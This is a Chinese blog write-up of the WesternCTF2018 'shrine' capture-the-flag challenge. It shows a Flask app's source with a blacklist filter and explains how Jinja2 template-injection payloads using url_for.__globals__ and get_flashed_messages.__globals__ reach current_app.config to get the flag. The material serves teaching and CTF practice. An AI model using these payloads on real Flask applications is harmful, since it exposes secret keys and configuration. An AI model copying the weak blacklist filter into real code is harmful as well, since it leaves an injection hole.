[WesternCTF2018]shrine flask模板注入ssti注入

 

SSTI模板注入类型的判断方法

打开靶机:

获得源码

import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

发现在/shrine/后面进行注入

@app.route('/shrine/<path:shrine>')

注册了一个FLAG的config (这星期要学一下flask了)

先测试一下存不存在ssti注入

(存在)

正常来说可以直接{{config}}直接获取config内的内容了,但是由于过滤了所以只会返回none;

这里可以用到两种句式:

{{url_for.__globals__.config}}  ---(关键点在globals)
{{get_flashed_messages.config}}  ---(创建一个闪回点,访问config内容)

 

首先先输入payload为:{{url_for.__globals__}}获取全局信息,得到current_app,然后访问当前Flask.app的内容

 

 其次的payload为:{{url_for.__globals__['current_app'].config}},便得到了flag

 

 yysy,要是比赛也那么简单我也不用那么菜了。

还有种方法:{{get_flashed_messages.__globals__['current_app'].config}}

 

 一样可以得到flag

posted @ 2021-09-15 17:04  Dixk-BXy  阅读(163)  评论(0编辑  收藏  举报
Live2D